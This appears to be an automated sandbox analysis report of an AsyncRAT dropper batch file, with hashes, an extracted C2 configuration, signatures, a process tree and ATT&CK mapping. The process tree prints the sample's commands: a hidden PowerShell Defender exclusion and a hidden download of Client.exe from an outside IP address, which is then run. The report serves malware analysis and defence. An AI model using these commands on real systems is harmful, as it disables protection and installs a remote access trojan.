asyncrat | 6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f

General

Target

sasa.bat
Size

7KB
MD5

90c3dfd74d6ab4b7b98777930ab44a23
SHA1

7f536fa9c3972c4416e8620335e39f9e93092103
SHA256

6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f
SHA512

aab364913c7f3972a136d2cf9241e46adf275bf74cdaedd0697746b4d0244a517a832154ead9849c36d2cc710c80e2754cff1d2b5c845041f0b5e0d6fd115a92
SSDEEP

12:b4tdk5jtnrC0yyGyDF98oul666666666666HW4xmBWp/CR898U7LtaJO20c1H:b4/otrlyRKubxwWRCRKpJD8H

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://20.199.84.103/Client.exe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

127.0.0.1:1024

20.199.84.103:1024

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000c000000023455-36.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1416	powershell.exe
392	powershell.exe
1416	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1964	Client.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1416	powershell.exe
1416	powershell.exe
392	powershell.exe
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	1964	Client.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 4484	4992	cmd.exe	84
PID 4992 wrote to memory of 4484	4992	cmd.exe	84
PID 4992 wrote to memory of 1416	4992	cmd.exe	85
PID 4992 wrote to memory of 1416	4992	cmd.exe	85
PID 4992 wrote to memory of 392	4992	cmd.exe	89
PID 4992 wrote to memory of 392	4992	cmd.exe	89
PID 4992 wrote to memory of 1964	4992	cmd.exe	90
PID 4992 wrote to memory of 1964	4992	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sasa.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\system32\fsutil.exe
  fsutil dirty query C:
  2⤵
  PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c Add-MpPreference -ExclusionPath "C:\Windows\Temp\"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c "(New-Object System.Net.WebClient).DownloadFile('http://20.199.84.103/Client.exe', 'C:\Windows\Temp\Client.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:392
- C:\Windows\Temp\Client.exe
  "C:\Windows\Temp\Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3xfaafk.ihr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\Client.exe

Filesize
47KB

MD5
fedb1274930bfa08a83480134a3f1412

SHA1
d47be6340ecd780274b98dad463749eb2d9d49fd

SHA256
a8fcd268b48c903e21500439d6754500d59d12d7d5d4e2c7ea737661fa8fe230

SHA512
ba1d2a9745b837c1f984577a5d96bff1b2c126d86fd75c7e763b085ea8440360899d383be10a7a6f31bbd87c215c3dfed82c03c15880e8f4ef336c411cb448b4

Download Submit
memory/392-18-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/392-33-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/392-30-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/392-24-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-11-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-16-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-15-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-12-0x00007FFACF010000-0x00007FFACFAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-0-0x00007FFACF013000-0x00007FFACF015000-memory.dmp

Filesize
8KB

Download
memory/1416-6-0x0000025E6B4E0000-0x0000025E6B502000-memory.dmp

Filesize
136KB

Download
memory/1964-37-0x0000000000FD0000-0x0000000000FE2000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads